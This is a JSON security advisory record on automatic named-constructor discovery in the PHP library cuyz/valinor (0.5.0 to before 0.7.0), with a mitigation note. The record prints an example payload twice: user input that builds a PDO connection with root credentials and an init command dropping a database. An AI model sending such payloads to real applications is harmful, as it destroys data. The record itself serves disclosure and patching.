{"id":"GHSA-xhr8-mpwq-2rr2","aliases":["GHSA-xhr8-mpwq-2rr2"],"related":[],"kind":"vulnerability","state":"published","title":"Automatic named constructor discovery in Valinor","summary":"## Design issue - automatic constructor discovery\n\nThe issue arises when upgrading from `cuyz/valinor:0.3.0` to a newer system on an existing application, which broke due to the wrong constructor being picked.\n\nStill, a bigger security concern is problematic, and it is akin to https://github.com/rails/rails/issues/5228.\n\n## Example exploit\n\nTake following DTO example:\n\n```php\nfinal class UserDTO\n{\n    public function __construct(\n        public int $id,\n        public string $name\n    ) {}\n    public static function fromDb(\n        PDO $connection,\n        int $id\n    ): self { /* ... code to fetch the DTO here ... */ }\n}\n```\n\nThere is nothing inherently unsafe about the above `UserDTO`, but when mixed with `cuyz/valinor:^0.5.0` ( specifically https://github.com/CuyZ/Valinor/commit/718d3c1bc2ea7d28b4b1f6c062addcd1dde8660b ), it is an explosive mix:\n\n```php\n// this could be coming from user input:\n$maliciousPayload = [\n    'connection' => [\n      'dsn' => 'mysql:host=some-host;database=some-database',\n      'username' => 'root',\n      'password' => 'root',\n      'options' => [\n        // PDO::MYSQL_ATTR_INIT_COMMAND === 1002\n        1002 => 'DROP DATABASE all-the-moneys'\n      ]\n    ],\n    'id' => 123,\n];\n\n$treeMapper->map(\n  UserDTO::class,\n  $maliciousPayload\n); // your DB is gone :D\n```\n\nThe above payload is represented in PHP form, but may as well be input JSON, HTML or x-form-urlencoded.\n\n## Mitigation\n\nVersion 0.7.0 contains a patch for this issue.\n\nAutomatic named constructor resolution should be disabled - only explicitly mapped named constructors should be used/discovered.","summaryFormat":"markdown","summarySource":"ghsa","descriptions":[{"lang":"en","text":"## Design issue - automatic constructor discovery\n\nThe issue arises when upgrading from `cuyz/valinor:0.3.0` to a newer system on an existing application, which broke due to the wrong constructor being picked.\n\nStill, a bigger security concern is problematic, and it is akin to https://github.com/rails/rails/issues/5228.\n\n## Example exploit\n\nTake following DTO example:\n\n```php\nfinal class UserDTO\n{\n    public function __construct(\n        public int $id,\n        public string $name\n    ) {}\n    public static function fromDb(\n        PDO $connection,\n        int $id\n    ): self { /* ... code to fetch the DTO here ... */ }\n}\n```\n\nThere is nothing inherently unsafe about the above `UserDTO`, but when mixed with `cuyz/valinor:^0.5.0` ( specifically https://github.com/CuyZ/Valinor/commit/718d3c1bc2ea7d28b4b1f6c062addcd1dde8660b ), it is an explosive mix:\n\n```php\n// this could be coming from user input:\n$maliciousPayload = [\n    'connection' => [\n      'dsn' => 'mysql:host=some-host;database=some-database',\n      'username' => 'root',\n      'password' => 'root',\n      'options' => [\n        // PDO::MYSQL_ATTR_INIT_COMMAND === 1002\n        1002 => 'DROP DATABASE all-the-moneys'\n      ]\n    ],\n    'id' => 123,\n];\n\n$treeMapper->map(\n  UserDTO::class,\n  $maliciousPayload\n); // your DB is gone :D\n```\n\nThe above payload is represented in PHP form, but may as well be input JSON, HTML or x-form-urlencoded.\n\n## Mitigation\n\nVersion 0.7.0 contains a patch for this issue.\n\nAutomatic named constructor resolution should be disabled - only explicitly mapped named constructors should be used/discovered.","format":"markdown","source":"ghsa"}],"published":"2022-04-01T13:39:45.000Z","modified":"2024-12-05T05:34:24.161Z","severity":{"scorer":"GitHub","scheme":"rating","rating":"HIGH"},"severities":[{"scorer":"GitHub","scheme":"rating","rating":"HIGH"}],"cwes":[],"affected":[{"ranges":[{"type":"ecosystem","introduced":"0.5.0","status":"affected","fixed":"0.7.0"}],"ecosystem":"Packagist","package":"cuyz/valinor","purl":"pkg:composer/cuyz/valinor","source":"ghsa"}],"references":[{"url":"https://github.com/CuyZ/Valinor/security/advisories/GHSA-xhr8-mpwq-2rr2","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/CuyZ/Valinor/commit/718d3c1bc2ea7d28b4b1f6c062addcd1dde8660b","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/CuyZ/Valinor","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/CuyZ/Valinor/releases/tag/0.7.0","tags":["web"],"sources":["ghsa"]}],"credits":[],"sources":[{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-xhr8-mpwq-2rr2","url":"https://github.com/advisories/GHSA-xhr8-mpwq-2rr2","licence":"CC-BY-4.0","modified":"2024-12-05T05:34:24.161Z"}],"updatedAt":"2026-11-25T22:56:33.389Z"}